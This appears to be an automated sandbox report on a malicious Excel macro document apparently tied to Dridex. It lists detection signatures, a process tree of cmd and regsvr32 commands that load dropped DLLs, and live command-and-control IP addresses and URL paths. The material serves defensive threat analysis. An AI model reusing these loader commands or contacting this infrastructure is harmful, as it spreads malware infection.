Play interactive tour

Edit tour

Analysis Report Documents_13134976_1377491379.xlsb

Overview

General Information

Sample Name:	Documents_13134976_1377491379.xlsb
Analysis ID:	431937
MD5:	276bf3db434b887bb77adca0bd46e130
SHA1:	eee2be9136f2c70a28b6ca5289e73e2a38453da2
SHA256:	27180043ebeb8f2aa8728c5ee020fb5368be3df4e9008b8f01242bf82d5780ce
Tags:	xlsbxlsx
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Document exploit detected (creates forbidden files)

Document exploit detected (drops PE files)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: BlueMashroom DLL Load

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Creates an autostart registry key pointing to binary in C:\Windows

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Drops PE files to the user root directory

Found Excel 4.0 Macro with suspicious formulas

Office process drops PE file

Sigma detected: Microsoft Office Product Spawning Windows Shell

Sigma detected: Regsvr32 Anomaly

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Tries to load missing DLLs

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Xls With Macro 4.0

Classification

Process Tree

System is w10x64

EXCEL.EXE (PID: 6528 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)

regsvr32.exe (PID: 6796 cmdline: regsvr32 -s ..\iepfusn.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

regsvr32.exe (PID: 6848 cmdline: -s ..\iepfusn.dll MD5: D78B75FC68247E8A63ACBA846182740E)

cmd.exe (PID: 6980 cmdline: cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PING.EXE (PID: 7032 cmdline: ping 8.8.7.7 -n 2 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)

regsvr32.exe (PID: 5712 cmdline: C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR MD5: D78B75FC68247E8A63ACBA846182740E)

cmd.exe (PID: 1724 cmdline: cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 1808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PING.EXE (PID: 6196 cmdline: ping 8.8.7.7 -n 2 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)

regsvr32.exe (PID: 6356 cmdline: C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG MD5: D78B75FC68247E8A63ACBA846182740E)

cmd.exe (PID: 6896 cmdline: cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

PING.EXE (PID: 6092 cmdline: ping 8.8.7.7 -n 2 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)

regsvr32.exe (PID: 6824 cmdline: C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 6872 cmdline: 'C:\Windows\system32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 400 cmdline: 'C:\Windows\system32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB MD5: D78B75FC68247E8A63ACBA846182740E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
app.xml	JoeSecurity_XlsWithMacro4	Yara detected Xls With Macro 4.0	Joe Security

Sigma Overview

System Summary:

Sigma detected: BlueMashroom DLL Load

Show sources

Source: Process started

Author: Florian Roth: Data: Command: cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG, CommandLine: cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG, CommandLine|base64offset|contains: rg, Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR, ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 5712, ProcessCommandLine: cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG, ProcessId: 1724

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 -s ..\iepfusn.dll, CommandLine: regsvr32 -s ..\iepfusn.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 6528, ProcessCommandLine: regsvr32 -s ..\iepfusn.dll, ProcessId: 6796

Sigma detected: Regsvr32 Anomaly

Show sources

Source: Process started

Author: Florian Roth, oscd.community: Data: Command: C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR, CommandLine: C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR, CommandLine|base64offset|contains: , Image: C:\Windows\System32\regsvr32.exe, NewProcessName: C:\Windows\System32\regsvr32.exe, OriginalFileName: C:\Windows\System32\regsvr32.exe, ParentCommandLine: cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6980, ProcessCommandLine: C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR, ProcessId: 5712

Signature Overview

Click to jump to signature section

Show All Signature Results

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Source: unknown	HTTPS traffic detected: 107.180.50.232:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.117.84.120:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.117.84.120:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.117.84.120:443 -> 192.168.2.6:49750 version: TLS 1.2

Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696B3714 FindFirstFileExA,
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD69653714 FindFirstFileExA,

Software Vulnerabilities:

Document exploit detected (creates forbidden files)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\rtdsgfe[1].dll			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\iepfusn.dll			Jump to behavior

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: rtdsgfe[1].dll.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: unknown origin: URLDownloadToFileA

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\regsvr32.exe

Source: global traffic

DNS query: name: tpfcu.com

Source: global traffic

TCP traffic: 192.168.2.6:49715 -> 107.180.50.232:443

Source: global traffic

TCP traffic: 192.168.2.6:49715 -> 107.180.50.232:443

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 18.117.84.120:443 -> 192.168.2.6:49740
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 18.117.84.120:443 -> 192.168.2.6:49747
Source: Traffic	Snort IDS: 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 18.117.84.120:443 -> 192.168.2.6:49750

Uses ping.exe to check the status of other devices and networks

Show sources

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2

Source: Joe Sandbox View

ASN Name: MIT-GATEWAYSUS MIT-GATEWAYSUS

Source: Joe Sandbox View	JA3 fingerprint: 8916410db85077a5460817142dcbc8de
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120
Source: unknown	TCP traffic detected without corresponding DNS query: 18.117.84.120

Source: unknown

DNS traffic detected: queries for: tpfcu.com

Source: regsvr32.exe, 00000019.00000003.540484196.0000000000AAC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000019.00000003.467970862.0000000000B0D000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: regsvr32.exe, 00000019.00000003.540484196.0000000000AAC000.00000004.00000001.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.25.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 00000019.00000003.467970862.0000000000B0D000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?c71b863b5b2fa
Source: regsvr32.exe, 00000019.00000002.634452908.0000000000A78000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en9
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: regsvr32.exe, 00000019.00000002.634565601.0000000000AFD000.00000004.00000020.sdmp	String found in binary or memory: https://18.117.84.120/
Source: regsvr32.exe, 00000019.00000002.634433415.0000000000A6E000.00000004.00000020.sdmp	String found in binary or memory: https://18.117.84.120/#
Source: regsvr32.exe, 00000019.00000002.636067995.00000000029E5000.00000004.00000001.sdmp	String found in binary or memory: https://18.117.84.120/18.188.86.8/
Source: regsvr32.exe, 00000019.00000002.634565601.0000000000AFD000.00000004.00000020.sdmp	String found in binary or memory: https://18.117.84.120/89b
Source: regsvr32.exe, 00000019.00000002.634433415.0000000000A6E000.00000004.00000020.sdmp, regsvr32.exe, 00000019.00000002.634483097.0000000000A9A000.00000004.00000020.sdmp	String found in binary or memory: https://18.117.84.120/kenichi/special21new/trailer2a5
Source: regsvr32.exe, 00000019.00000002.634500391.0000000000AAC000.00000004.00000020.sdmp	String found in binary or memory: https://18.117.84.120/kenichi/special21new/trailer2a5T0
Source: regsvr32.exe, 00000019.00000002.634565601.0000000000AFD000.00000004.00000020.sdmp	String found in binary or memory: https://18.188.86.8/
Source: regsvr32.exe, 00000019.00000002.634565601.0000000000AFD000.00000004.00000020.sdmp	String found in binary or memory: https://18.188.86.8/Z
Source: regsvr32.exe, 00000019.00000002.634500391.0000000000AAC000.00000004.00000020.sdmp	String found in binary or memory: https://18.188.86.8/kenichi/special21new/trailer2a5
Source: regsvr32.exe, 00000019.00000002.634565601.0000000000AFD000.00000004.00000020.sdmp	String found in binary or memory: https://18.188.86.8/railer2a55b
Source: regsvr32.exe, 00000019.00000002.636079030.0000000002A44000.00000004.00000001.sdmp	String found in binary or memory: https://18.188.86.8:443/kenichi/special21new/trailer2a55
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.aadrm.com/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.cortana.ai
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.office.net
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.onedrive.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://augloop.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://augloop.office.com/v2
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://cdn.entity.
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://clients.config.office.net/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://config.edge.skype.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://cortana.ai
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://cortana.ai/api
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://cr.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://dev.cortana.ai
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://directory.services.
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://graph.windows.net
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://graph.windows.net/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://login.windows.local
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://management.azure.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://management.azure.com/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://messaging.office.com/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://officeapps.live.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://onedrive.live.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
